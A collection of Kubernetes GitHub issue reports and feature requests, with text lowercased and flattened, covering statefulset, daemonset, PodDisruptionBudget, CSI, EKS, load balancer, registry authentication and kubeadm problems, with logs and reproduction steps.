mon, 08 jan 2018 16:11:39 -0600\r selector:           environment=test,role=mongo\r labels:             name=mongo\r annotations:        kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ apps/v1beta1\ ,\ kind\ :\ statefulset\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ name\ :\ mongo\ },\ name\ :\ mongo\ ,\ namespace\ :\ storage\ },\ ...\r replicas:           1 desired | 1 total\r pods status:        0 running / 1 waiting / 0 succeeded / 0 failed\r pod template:\r   labels:  environment=test\r            role=mongo\r   containers:\r    mongo:\r     image:  mongo:3.4.10-jessie\r     port:   27017/tcp\r     command:\r       mongod\r       --replset\r       rs0\r       --smallfiles\r       --noprealloc\r     environment:  <none>\r     mounts:\r       /data/db from mongo-persistent-storage  rw \r    mongo-sidecar:\r     image:  cvallance/mongo-k8s-sidecar\r     port:   <none>\r     environment:\r       mongo_sidecar_pod_labels:       role=mongo,environment=test\r       kubernetes_mongo_service_name:  mongo\r     mounts:                           <none>\r   volumes:                            <none>\r volume claims:\r   name:          mongo-persistent-storage\r   storageclass:  \r   labels:        <none>\r   annotations:   volume.alpha.kubernetes.io/storage-class=default\r   capacity:      5gi\r   access modes:   readwriteonce \r events:\r   type    reason            age                 from         message\r   ----    ------            ----                ----         -------\r   normal  successfuldelete  15h  x46 over 17h   statefulset  delete pod mongo-0 in statefulset mongo successful\r   normal  successfulcreate  48m  x81 over 17h   statefulset  create pod mongo-0 in statefulset mongo successful\r   normal  successfuldelete  30m  x13 over 43m   statefulset  delete pod mongo-0 in statefulset mongo successful\r   normal  successfulcreate  3m  x39 over 43m    statefulset  create pod mongo-0 in statefulset mongo successful\r \r    \r \r i'll be happy to provide any more details or logs that would be helpful in figuring out why this is happening in my setup.\r

 \r while developing a custom controller, we ran into a problem of working with pod disruption budgets. it appears that  disruptioncontroller  only works with following set of objects: replication controller, deployment, pod replica set, and pod stateful set.\r \r https://github.com/kubernetes/kubernetes/blob/317853c90c674920bfbbdac54fe66092ddc9f15f/pkg/controller/disruption/disruption.go l172-l175\r \r we think it would be useful to extend  disruptioncontroller  to work with any other controller  such that custom controllers could participate in budget functionality . this potentially could be done by generically checking pod's controller owner.\r \r alternatively, would it make sense to optionally store expected replica count on pdb itself for usage with custom controllers  expected replica count would be updated by the controller as it manages pods ? this approach may be a lot more performant in practice.\r \r alternative suggestions are appreciated.\r \r cc @maximilien

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i am trying to add a gpumasterupgrade test. when running the test from a 1.9.7 release to a recent k8s version built from head that updated the nvidia-gpu-device-plugin daemonset to a new image version, i found the nvidia-gpu-device-plugin daemonset pod running on the gpu node was not correctly updated to the new image version, even though the pod running on the master and the daemonset itself were both upgraded correctly.\r \r here is what i saw in the controller-manager log:\r i0509 18:50:24.359732       1 daemon_controller.go:169  updating daemon set nvidia-gpu-device-plugin\r i0509 18:50:24.371411       1 daemon_controller.go:350  controllerrevision nvidia-gpu-device-plugin-c4d8578bd added.\r i0509 18:50:24.372311       1 controller_utils.go:182  controller expectations fulfilled &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee8ed32e5903, ext:60613876775, loc:  time.location  0x5433720 }}\r i0509 18:50:24.372653       1 daemon_controller.go:841  found failed daemon pod kube-system/nvidia-gpu-device-plugin-9hkgb on node e2e-test-jiayingz-master, will try to kill it\r i0509 18:50:24.372695       1 controller_utils.go:216  setting expectations &controller.controlleeexpectations{add:0, del:1, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1636d57d, ext:113664764591, loc:  time.location  0x5433720 }}\r i0509 18:50:24.372714       1 daemon_controller.go:937  nodes needing daemon pods for daemon set nvidia-gpu-device-plugin:   , creating 0\r i0509 18:50:24.372763       1 daemon_controller.go:1010  pods to delete for daemon set nvidia-gpu-device-plugin:  nvidia-gpu-device-plugin-9hkgb , deleting 1\r i0509 18:50:24.372785       1 controller_utils.go:596  controller nvidia-gpu-device-plugin deleting pod kube-system/nvidia-gpu-device-plugin-9hkgb\r i0509 18:50:24.373106       1 event.go:218  event v1.objectreference{kind:\ daemonset\ , namespace:\ kube-system\ , name:\ nvidia-gpu-device-plugin\ , uid:\ a531d6b6-53a5-11e8-bc10-42010a8a0002\ , apiversion:\ apps\ , resourceversion:\ 11527\ , fieldpath:\ \ } : type: 'warning' reason: 'faileddaemonpod' found failed daemon pod kube-system/nvidia-gpu-device-plugin-9hkgb on node e2e-test-jiayingz-master, will try to kill it\r i0509 18:50:24.381899       1 pvc_protection_controller.go:284  got event on pod kube-system/nvidia-gpu-device-plugin-9hkgb\r i0509 18:50:24.381938       1 disruption.go:340  updatepod called on pod \ nvidia-gpu-device-plugin-9hkgb\ \r i0509 18:50:24.381970       1 disruption.go:403  no poddisruptionbudgets found for pod nvidia-gpu-device-plugin-9hkgb, poddisruptionbudget controller will avoid syncing.\r i0509 18:50:24.381976       1 disruption.go:343  no matching pdb for pod \ nvidia-gpu-device-plugin-9hkgb\ \r i0509 18:50:24.382010       1 daemon_controller.go:517  pod nvidia-gpu-device-plugin-9hkgb updated.\r i0509 18:50:24.392665       1 resource_quota_monitor.go:352  quotamonitor process object: /v1, resource=pods, namespace kube-system, name nvidia-gpu-device-plugin-9hkgb, uid bac02f23-53a5-11e8-bc10-42010a8a0002, event type delete\r i0509 18:50:24.392776       1 pvc_protection_controller.go:284  got event on pod kube-system/nvidia-gpu-device-plugin-9hkgb\r i0509 18:50:24.392790       1 disruption.go:369  deletepod called on pod \ nvidia-gpu-device-plugin-9hkgb\ \r i0509 18:50:24.392835       1 disruption.go:403  no poddisruptionbudgets found for pod nvidia-gpu-device-plugin-9hkgb, poddisruptionbudget controller will avoid syncing.\r i0509 18:50:24.392842       1 disruption.go:372  no matching pdb for pod \ nvidia-gpu-device-plugin-9hkgb\ \r i0509 18:50:24.392860       1 daemon_controller.go:646  pod nvidia-gpu-device-plugin-9hkgb deleted.\r i0509 18:50:24.392871       1 controller_utils.go:233  lowered expectations &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1636d57d, ext:113664764591, loc:  time.location  0x5433720 }}\r i0509 18:50:24.394425       1 daemon_controller.go:1138  finished syncing daemon set \ kube-system/nvidia-gpu-device-plugin\   34.654872ms \r e0509 18:50:24.394464       1 daemon_controller.go:265  kube-system/nvidia-gpu-device-plugin failed with : deleted 1 failed pods of daemonset kube-system/nvidia-gpu-device-plugin\r i0509 18:50:24.395272       1 controller_utils.go:182  controller expectations fulfilled &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1636d57d, ext:113664764591, loc:  time.location  0x5433720 }}\r i0509 18:50:24.395612       1 controller_utils.go:216  setting expectations &controller.controlleeexpectations{add:1, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c17943575, ext:113687661236, loc:  time.location  0x5433720 }}\r i0509 18:50:24.395632       1 daemon_controller.go:937  nodes needing daemon pods for daemon set nvidia-gpu-device-plugin:  e2e-test-jiayingz-master , creating 1\r i0509 18:50:24.397003       1 event.go:218  event v1.objectreference{kind:\ daemonset\ , namespace:\ kube-system\ , name:\ nvidia-gpu-device-plugin\ , uid:\ a531d6b6-53a5-11e8-bc10-42010a8a0002\ , apiversion:\ apps\ , resourceversion:\ 11527\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: nvidia-gpu-device-plugin-9hkgb\r i0509 18:50:24.413193       1 controller_utils.go:585  controller nvidia-gpu-device-plugin created pod nvidia-gpu-device-plugin-4db46\r i0509 18:50:24.413243       1 daemon_controller.go:1010  pods to delete for daemon set nvidia-gpu-device-plugin:   , deleting 0\r i0509 18:50:24.413270       1 controller_utils.go:188  controller still waiting on expectations &controller.controlleeexpectations{add:1, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c17943575, ext:113687661236, loc:  time.location  0x5433720 }}\r i0509 18:50:24.413399       1 daemon_controller.go:1075  updating daemon set status\r i0509 18:50:24.416299       1 event.go:218  event v1.objectreference{kind:\ daemonset\ , namespace:\ kube-system\ , name:\ nvidia-gpu-device-plugin\ , uid:\ a531d6b6-53a5-11e8-bc10-42010a8a0002\ , apiversion:\ apps\ , resourceversion:\ 11527\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: nvidia-gpu-device-plugin-4db46\r i0509 18:50:24.416490       1 disruption.go:328  addpod called on pod \ nvidia-gpu-device-plugin-4db46\ \r i0509 18:50:24.416547       1 disruption.go:403  no poddisruptionbudgets found for pod nvidia-gpu-device-plugin-4db46, poddisruptionbudget controller will avoid syncing.\r i0509 18:50:24.416555       1 disruption.go:331  no matching pdb for pod \ nvidia-gpu-device-plugin-4db46\ \r i0509 18:50:24.416575       1 daemon_controller.go:469  pod nvidia-gpu-device-plugin-4db46 added.\r i0509 18:50:24.416599       1 controller_utils.go:233  lowered expectations &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c17943575, ext:113687661236, loc:  time.location  0x5433720 }}\r i0509 18:50:24.419742       1 taint_manager.go:344  noticed pod update: types.namespacedname{namespace:\ kube-system\ , name:\ nvidia-gpu-device-plugin-4db46\ }\r i0509 18:50:24.432022       1 daemon_controller.go:169  updating daemon set nvidia-gpu-device-plugin\r i0509 18:50:24.436718       1 daemon_controller.go:1138  finished syncing daemon set \ kube-system/nvidia-gpu-device-plugin\   42.21978ms \r i0509 18:50:24.437531       1 controller_utils.go:182  controller expectations fulfilled &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c17943575, ext:113687661236, loc:  time.location  0x5433720 }}\r i0509 18:50:24.438391       1 controller_utils.go:216  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1a213733, ext:113730456688, loc:  time.location  0x5433720 }}\r i0509 18:50:24.438414       1 daemon_controller.go:937  nodes needing daemon pods for daemon set nvidia-gpu-device-plugin:   , creating 0\r i0509 18:50:24.438459       1 daemon_controller.go:1010  pods to delete for daemon set nvidia-gpu-device-plugin:   , deleting 0\r i0509 18:50:24.438469       1 controller_utils.go:182  controller expectations fulfilled &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1a213733, ext:113730456688, loc:  time.location  0x5433720 }}\r i0509 18:50:24.438535       1 daemon_controller.go:1075  updating daemon set status\r i0509 18:50:24.455236       1 disruption.go:340  updatepod called on pod \ nvidia-gpu-device-plugin-4db46\ \r i0509 18:50:24.455286       1 disruption.go:403  no poddisruptionbudgets found for pod nvidia-gpu-device-plugin-4db46, poddisruptionbudget controller will avoid syncing.\r i0509 18:50:24.455294       1 disruption.go:343  no matching pdb for pod \ nvidia-gpu-device-plugin-4db46\ \r i0509 18:50:24.455315       1 daemon_controller.go:517  pod nvidia-gpu-device-plugin-4db46 updated.\r i0509 18:50:24.460857       1 daemon_controller.go:169  updating daemon set nvidia-gpu-device-plugin\r i0509 18:50:24.464010       1 daemon_controller.go:1138  finished syncing daemon set \ kube-system/nvidia-gpu-device-plugin\   27.233756ms \r i0509 18:50:24.465274       1 controller_utils.go:182  controller expectations fulfilled &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1a213733, ext:113730456688, loc:  time.location  0x5433720 }}\r i0509 18:50:24.465651       1 controller_utils.go:216  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1bc133c9, ext:113757718781, loc:  time.location  0x5433720 }}\r i0509 18:50:24.465688       1 daemon_controller.go:937  nodes needing daemon pods for daemon set nvidia-gpu-device-plugin:   , creating 0\r i0509 18:50:24.465726       1 daemon_controller.go:1010  pods to delete for daemon set nvidia-gpu-device-plugin:   , deleting 0\r i0509 18:50:24.465735       1 controller_utils.go:182  controller expectations fulfilled &controller.controlleeexpectations{add:0, del:0, key:\ kube-system/nvidia-gpu-device-plugin\ , timestamp:time.time{wall:0xbeb4ee9c1bc133c9, ext:113757718781, loc:  time.location  0x5433720 }}\r i0509 18:50:24.466597       1 daemon_controller.go:1075  updating daemon set status\r i0509 18:50:24.466860       1 daemon_controller.go:1138  finished syncing daemon set \ kube-system/nvidia-gpu-device-plugin\   2.799303ms \r ...\r \r ken and i debugged this a bit. we found if we manually deleted the pod running with the wrong version, a new pod was created with the right version. so this could be some race condition issue caused by failed daemonset pod during the first update.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r in k8s 1.9 branch\r $ go run hack/e2e.go --build\r $ export node_accelerators=type=nvidia-tesla-k80,count=2; export kube_node_os_distribution=gci; export kube_gce_zone=us-west1-b; export num_nodes=1; go run hack/e2e.go --up\r then switch to a test branch with pr https://github.com/kubernetes/kubernetes/pull/63631 pulled\r $ go run hack/e2e.go --build\r $ go run ./hack/e2e.go -v --test --test_args=\ --ginkgo.focus=\\ feature:gpumasterupgrade\\ \ \r \r the test should actually pass but if we check the image ids of the nvidia-gpu-device-plugin daemonset pods, we will see that the pod running on the gpu node has a different image from the one running on the master. the one running on the master has the correct image matching what we have in the upgraded master vidia-gpu-device-plugin addon daemonset setting.\r $ kubectl -n kube-system describe pod nvidia-gpu-device-plugin | grep \ image id\ \r     image id:\t\tdocker-pullable://k8s.gcr.io/nvidia-gpu-device-plugin@sha256:0842734032018be107fa2490c98156992911e3e1f2a21e059ff0105b07dd8e9e\r     image id:\t\tdocker-pullable://k8s.gcr.io/nvidia-gpu-device-plugin@sha256:0e79da6998a61257585e0d3fb5848240129f0fa5b4ad972dfed4049448093c33\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   reconsider driver map locking after plugin unregistration is implemented  :\r depending on the implementation details of kubelet plugin unregistration  https://github.com/kubernetes/kubernetes/issues/64637 , the current way of locking the registered driver map inside the plugin registration callback function  here  https://github.com/kubernetes/kubernetes/blob/a2f4f585afba0c57b432772c6358cb1b2727fb5f/pkg/volume/csi/csi_plugin.go l89  may result in race conditions.\r \r investigate once unregistration is implemented.\r \r   initialization callback  :\r consider proposing to plugins watcher an initialization function, called on kubelet initialization. csi driver registration can then scan for csi registration sockets that are already available on the host machine and register them early. without this feature, drivers that previously exist on the machine could be left undetected.\r \r   retry node info updates on error  :\r because of the plugins watcher design, driver detection is edge-triggered rather than level-triggered. in a level-triggered system, the controller would continuously reconcile with driver state to detect the correct state. in our edge-triggered system, we have to continuously retry the node info update if there's an error, to prevent a trigger signal being lost. currently this behavior is missing.\r one consequence is that if the  csinodeinfo  crd is not installed before driver installation, the  csinodeinfo  object will  never  contain information for this particular driver, even if another driver gets installed after the crd is created.\r \r  /assign

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r currently an auto scaling group  asg  in aws may decide to terminate ec2 instances that are running eks nodes when it detects ec2 instance imbalance between two availability zones  az . this results in nodes disappearing without a trace from eks cluster. it would be nice if eks could prevent asg from deleting ec2 instances that are in use.\r \r   why is this needed  :\r we use eks to run on demand end-to-end  e2e  tests which means our cluster scales from 2 nodes to n nodes and back down to 2 fairly often. as part of the scale up asg evenly distributes ec2 instances between the two azs. our e2e tests finish at different times, as a result eks elastic scaler may request to remove some un-used nodes  ec2 instances . when this happens we may get an ec2 instance imbalance between two azs. when this happens asg will try to rebalance itself by terminating ec2 instances in overweight az and moving them to the under weight az. this results in nodes disappearing from the cluster.\r \r we found this issues by looking at asg messages in aws console. from eks point of view the pods running the e2e tests were healthy and then just disappeared without a trace. this caused us to spend a lot of time looking for the root cause. it seems counter intuitive that asg can potentially sabotage the way eks operates. we were able to resolve the issue by disabling the 'azrebalance' checker on the asg, but it would be nicer if this was disabled by default or even better if eks could tell asg not to remove ec2 instances in use.\r \r   \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r    \r kubectl create cronjob ...\r or \r kubectl create job --schedule=\          \  ...\r    \r   why is this needed  :\r because of https://github.com/kubernetes/kubernetes/pull/68132\r  kubectl run  is not recommended to create cronjob  with  --schedule  flags  anymore.\r but there is no imperative command available for  kubectl create  to create cronjob.\r \r  <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r this issue is used to track the progress of changing existing metrics to conform metrics guidelines:\r \r -  x  docker metrics  https://github.com/kubernetes/kubernetes/pull/72323 \r -  x  scheduler metrics  https://github.com/kubernetes/kubernetes/pull/72332 \r -  x  proxy metrics  https://github.com/kubernetes/kubernetes/pull/72334 \r -  x  workqueue metrics  https://github.com/kubernetes/kubernetes/pull/71300 \r -  x  mark deprecated in related workqueue metrics  https://github.com/kubernetes/kubernetes/pull/72679 \r -  x  kubelet metrics  https://github.com/kubernetes/kubernetes/pull/72470 \r -  x   apiserver metrics  https://github.com/kubernetes/kubernetes/pull/72336 \r -  x  fix admission metrics in true units  https://github.com/kubernetes/kubernetes/pull/72343 \r -  x  rename cadvisor metric labels to match instrumentation guidelines  https://github.com/kubernetes/kubernetes/pull/69099 \r \r   why is this needed  :\r \r <!-- do not edit below this line -->\r  

what happened  :\r \r created a service, type loadbalancer with the following spec:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: basic-service-lb\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-tcp-idle-timeout: 20\r   labels:\r     app: basic-service-lb-app\r spec:\r   type: loadbalancer\r   externaltrafficpolicy: local\r   sessionaffinity: clientip\r   sessionaffinityconfig:\r     clientip:\r       timeoutseconds: 180\r   ports:\r     - port: 80\r       protocol: tcp\r   selector:\r     app: basic-service-lb-app\r    \r \r the load balancer was provisioned but the idle timeout was still configured as the default of 4 minutes. \r \r   what you expected to happen  :\r \r idle timeout for the provisioned load balancer should match the annotation of 20. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r service gist + basic deployment available https://gist.github.com/slack/6256e1bc1af1b714f2123569afa45aee\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.6\ , gitcommit:\ ab91afd7062d4240e95e51ac00a18bd58fddd365\ , gittreestate:\ clean\ , builddate:\ 2019-02-26t12:49:28z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: aks\r \r  

most people are copying and pasting, which leads to lots of code that decays and has to be hand maintained.  example: \ extensions\

i'm getting tired of seeing flake issues like https://github.com/kubernetes/kubernetes/issues/33647 where every single failure is of the form      expected error:     < errors.errorstring | 0xc820412c10>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred      this is about as unhelpful an error message as you can get.  the problem is that we have      go expect err .notto haveoccurred         peppered throughout the code everywhere, and in this form, you can only figure out what failed if you read the ginkgo error, remember which line has the line number you actually want, and then try to read surrounding code in that file.  possible improvements given in http://onsi.github.io/gomega/ handling-errors: - use  succeed    - annotate the assertions - basically, do anything except just expect err .notto haveoccurred     cc @kubernetes/sig-testing

what keywords did you search in kubernetes issues before filing this one?  \r docker login private registry \r \r   is this a bug report or feature request?   bug report\r \r   kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ 87d9d8d7bc5aa35041a8ddfe3d4b367381112f89\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t21:10:52z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ 87d9d8d7bc5aa35041a8ddfe3d4b367381112f89\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t21:10:52z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : private virtual servers.\r -   os    e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.3  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.3\ \r pretty_name=\ red hat enterprise linux server 7.3  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.3:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.3\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.3\ \r \r -   kernel    e.g.  uname -a  :\r linux <hostname> 3.10.0-514.2.2.el7.x86_64  1 smp wed nov 16 13:15:13 est 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r 1.- having a kubernetes cluster using a private v2 docker registry, basic http authentication and following this steps  https://kubernetes.io/docs/concepts/containers/images/ configuring-nodes-to-authenticate-to-a-private-repository  to configure the authentication, everything was working as spected.\r 2.- the registry has two users granted to download images, let´s say user1 and user2  both with the same privileges  but only user1 is configured along all kube-nodes, as said before everything ok.\r 3.- for some reason has been un-granted user1 from docker registry, as expected, images pull starts to fail.\r 4.- the problem comes here, changing all kube-nodes configuration to authenticate with user2, it doesn´t work. it is observed in pod status: imagepullbackoff and in pod events:\r error syncing pod, skipping: failed to \ startcontainer\  for \ imagexxx\  with errimagepull: \ manifest unknown: the named manifest is not known to the registry.\ \r 5.- manual pull from kube-nodes  docker pull ...  works.\r 6.- restoring user1 in docker registry  keeping user2 in all nodes  it start to work.\r \r seems that the first configuration keeps cached somewhere in kubertentes.\r \r \r   what you expected to happen  :\r kubernetes should get and use the new configuration related with registry authentication.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1.- grant two users  user1 and user2  with the same privileges to download images in docker private registry.\r 2.- configure all kube-nodes authentication  docker login <registry_url>  with user1\r 3.- deploy something pulling some image from the registry.\r 4.- ungrant user1 from docker registry configuration and configure all kube-nodes with user2.\r 5.- deploy something forcing to download a new image.\r \r \r   anything else we need to know  :\r i have restarted all kube services in master and slave, even i have restarted the server but it didn´t help.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r after the boot, kubelet created 1 pod just fine, but few seconds later, every other pod was created without network ip address.  pod statuses were all running, but ip address were missing. we use kubelet from hyperkube v1.7.5 image, and flannel cni plugin.\r \r there are several kubelet logs which indicate sandbox failure:\r \r    \r remote_runtime.go:91  runpodsandbox from runtime service failed: rpc error: code = 2 desc = failed to start sandbox container for pod \ ...\ : operation timeout: context deadline exceeded\r    \r \r    \r pod_workers.go:182  error syncing pod d0dba632-98f7-11e7-a057-fa163e134835  \ ... d0dba632-98f7-11e7-a057-fa163e134835 \  , skipping: failed to \ createpodsandbox\  for \ ... d0dba632-98f7-11e7-a057-fa163e134835 \  with createpodsandboxerror: \ createpodsandbox for pod \ ... d0dba632-98f7-11e7-a057-fa163e134835 \  failed: rpc error: code = 2 desc = failed to start sandbox container for pod \ ...\ : operation timeout: context deadline exceeded\ \r    \r \r after we restarted kubelet, everything went fine.\r \r   what you expected to happen  :\r \r kubelet creates pod, and if it is running, it should have ip address assigned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the occurrence seems relatively rare.  this is the first case we confirmed.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we are close to moving the ability for the kubelet to load config from a file to beta. we should start configuring kubelets this way in e2e node tests to further validate this feature. the easiest way to start doing this right now is to have the test framework write its defaults to the kubelet config file instead of passing them as flags to the kubelet.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when i did e2e conformance test with log level 5, it completely passed!\r when i did e2e conformance test with log level 8, it just failed.\r \r the only thing i did is just leveling up from log level 5 to 8.\r but, i've got this error message.\r    \r  panic!   k8s.io  pods  it  should support retrieving logs from the container over websockets  nodeconformance   conformance \r /usr/local/go/src/runtime/panic.go:513\r \r  panic!   k8s.io  pods  it  should support remote command execution over websockets  nodeconformance   conformance \r /usr/local/go/src/runtime/panic.go:513\r    \r \r   what you expected to happen  :\r test would be completely passed and just get more verbose log\r  \r   environment  :\r local cluster\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r trying to upgrade a config i found here\r \r   what you expected to happen  :\r it to migrate the config by running the command it gave me\r \r   how to reproduce it  as minimally and precisely as possible   :\r simply run the command with the config\r \r   anything else we need to know?  :\r    \r  root@play ~   cat old.yaml\r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r api:\r   advertiseaddress: redacted\r networking:\r   podsubnet: \ 10.32.0.0/12\    default weave net ip range\r apiserverextraargs:\r   service-node-port-range: 80-32767\r   feature-gates: \ persistentlocalvolumes=true,volumescheduling=true,mountpropagation=true\ \r controllermanagerextraargs:\r   feature-gates: \ persistentlocalvolumes=true,volumescheduling=true,mountpropagation=true\ \r schedulerextraargs:\r   feature-gates: \ persistentlocalvolumes=true,volumescheduling=true,mountpropagation=true\ \r  root@play ~   kubeadm config migrate --old-config old.yaml --new-config new.yaml\r your configuration file uses an old api spec: \ kubeadm.k8s.io/v1alpha1\ . please use kubeadm v1.11 instead and run 'kubeadm config migrate --old-config old.yaml --new-config new.yaml', which will write the new, similar spec using a newer api version.\r  root@play ~   ls -lah | grep old.yaml\r -rw-r--r--.  1 root root  547 dec  3 01:24 old.yaml\r    \r \r   environment  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r    \r 00:00.0 host bridge: intel corporation intel kaby lake host bridge  rev 05 \r 00:01.0 pci bridge: intel corporation xeon e3-1200 v5/e3-1500 v5/6th gen core processor pcie controller  x16   rev 05 \r 00:01.1 pci bridge: intel corporation xeon e3-1200 v5/e3-1500 v5/6th gen core processor pcie controller  x8   rev 05 \r 00:02.0 vga compatible controller: intel corporation hd graphics 630  rev 04 \r 00:14.0 usb controller: intel corporation 200 series pch usb 3.0 xhci controller\r 00:16.0 communication controller: intel corporation 200 series pch csme heci  1\r 00:17.0 sata controller: intel corporation 200 series pch sata controller  ahci mode \r 00:1b.0 pci bridge: intel corporation 200 series pch pci express root port  17  rev f0 \r 00:1b.4 pci bridge: intel corporation 200 series pch pci express root port  21  rev f0 \r 00:1c.0 pci bridge: intel corporation 200 series pch pci express root port  1  rev f0 \r 00:1c.4 pci bridge: intel corporation 200 series pch pci express root port  5  rev f0 \r 00:1d.0 pci bridge: intel corporation 200 series pch pci express root port  9  rev f0 \r 00:1f.0 isa bridge: intel corporation 200 series pch lpc controller  z270 \r 00:1f.2 memory controller: intel corporation 200 series pch pmc\r 00:1f.3 audio device: intel corporation 200 series pch hd audio\r 00:1f.4 smbus: intel corporation 200 series pch smbus controller\r 01:00.0 ethernet controller: intel corporation i210 gigabit network connection  rev 03 \r 02:00.0 non-volatile memory controller: intel corporation pcie data center ssd  rev 02 \r 04:00.0 non-volatile memory controller: intel corporation pcie data center ssd  rev 02 \r 06:00.0 usb controller: asmedia technology inc. device 2142\r    \r \r - os  e.g. from /etc/os-release :\r  root@play ~   cat /etc/redhat-release\r centos linux release 7.5.1804  core \r \r - kernel  e.g.  uname -a  :\r  root@play ~   uname -a\r linux play 3.10.0-862.14.4.el7.x86_64  1 smp wed sep 26 15:12:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r just yum and the doc for 